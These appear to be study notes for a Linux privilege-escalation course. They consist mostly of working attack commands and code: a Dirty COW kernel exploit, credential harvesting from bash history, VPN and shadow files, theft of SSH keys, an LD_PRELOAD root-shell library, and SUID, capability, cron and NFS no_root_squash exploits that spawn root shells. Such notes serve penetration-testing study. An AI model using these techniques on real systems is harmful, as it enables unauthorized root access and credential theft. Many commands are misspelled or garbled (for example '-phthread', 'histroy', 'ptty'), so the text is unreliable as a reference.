For the full tutorial and lectures it is highly recommended to take the LINUX PRIVESC course from TCM-SECURITY.
Kernel exploits are very straight forward. We hunt down what version of kernel is running on the target system and then we exploit it.
- resource: lucyoa/kernerl-exploit
- chek kernel version on target system:
uname -a - compile dirty c0w.c first
gcc -phthread c0w.c -o cow - use dirty c0w on target machine
./cow - c0w output: Backing up /usr/bin/passwd to /tmp/bak
- type in:
passwdand you're root
- see history if possible, if someone connected to a mysql database with their credentials for example it will show up in there, use command
history - cat out the
cat .bash_historyas well - you can also try using the history command with grep to grep for the password:
histroy | grep passwd ps auxto see processeswto see who's logged in- when asked for a password on the system if you see asterisks while typing out the password in terminal that's a very specific version of sudo, that's usually the .pwfeedback is being set. Any sudo before 1.8.6. Usually Linux Mint and Elementary OS, get sudo version:
sudo -venv_reset.pwfeedback is being reset. - cat out the *.ovpn file to check for credentials or references:
cat myvpn.ovpnshows that the password is coming from the /etc/openvpn/auth.txt so we can just cat that file out for credentials
ls -la /etc/passwdandls -la /etc/shadowif you can access both and cat them out we can use john or other similar tools to crack those passwords- passwd file doesn't have any passwords in it (back in the day it was) , it helps us to ID the users
- x is a placeholder in it for the hash which contains the password from the shadow file
- if we can modify /etc/passwd the x in the file we could become root, like delete it, if there's no placeholder we can just switch to root user without a password or change it to 0
- we can change the hash to one where we know the password and become root like that
find / -name authorized_keys 2>/dev/nullfind / -name id_rsa 2>/dev/null- once the key was found copy it to your machine into a file and don't forget to
chmod 600 id_rsato be able to use it to log in via ssh ssh -i id_rsa root@<target IP>
- it's a feature of LD (dynamic linker)
- we're going to preload a user library by running sudo with ID preload and execute our own library before anything else
nano shell.c#include <stdio.h>#include <sys/types.h>#include <stdlib.h>void_init() {unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/bash");}- don't forget to include tabs with lines: unsetenv, segid, setuid, system
- compile it:
gcc fPIC -shared -o shell.so shell.co -nostartfile - fPIC is position independent code, regardless of what your shell address is, it will work
- need full path to shell.so
- run it:
sudo LD_PRELOAD=/home/usr/shell.so apache2
- to hunt it down:
find / -type f -perm -04000 -ls 2>/dev/null
- strace is diagnosing, debugging Linux for tampering and monitoring
strace /usr/local/bin/suid-so 2>&1- grep the output
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
- symbolic link: any file that contains a reference to another file or directory in a form of an absolute or relative path
- create a function and export it:
function /usr/sbin/service() {cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } - export service:
export -f /usr/sbin/service - compile it and change path:
gcc /tmp/service/.c -o /tmp/serviceandexport PATH=/tmp:$PATH
- searching for capabilities:
getcap -r / 2>/dev/null - found (ex) :
/usr/bin/python2.6 = cap_setuid+ep - execute:
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
- m h dom mon dow user command /month, hour, day of month, month, day of week, user, command
17 * * *every 17th minutes execute a command for a user* * * root /user/local/bin/compress.sh* * * root overwrite.sh- then
systemctl list-timers --all- add to file that root executes via crontab:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh - wait for crontab to kick in and run:
/tmp/bash -pand we're root! - note: The -p option in bash and ksh is related to security. It is used to prevent the shell reading user-controlled files.
- Another way of overwriting the crontab file is:
cat /usr/local/bin/overwrite.shnano /usr/local/bin/overwrite.sh#!/bin/bashecho date > /tmp/uselesscp /bin/bash /tmp/bash; chmod +s /tmp/bash- now we have overwritten the overwrite.sh file, now run:
/tmp/bash -p whoami- root!
- on target machine
cat /etc/exportsshows no root squash but what does this mean? /tmp folder can be mounted from attacking machine! showmount -e <target IP>results will show up/tm *- make a folder on your machine
mkdir /tmp/mountme - and mount it:
mount -o rw vers=2 <target IP>:/tmp /tmp/mountme - from kali:
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/mountme/x.c - compile it:
gcc /tmp/mountme/x.c -o /tmp/mountme/x - chande mod:
chmod +x /tmp/mountme/x - now cd over to /tmp on target machine and execute
./x - we're root!
python 'import pty;pty.spawn("/bin/bash")'export TERM=xterm- background your shell with CTRL+Z
ptty raw -echo; fg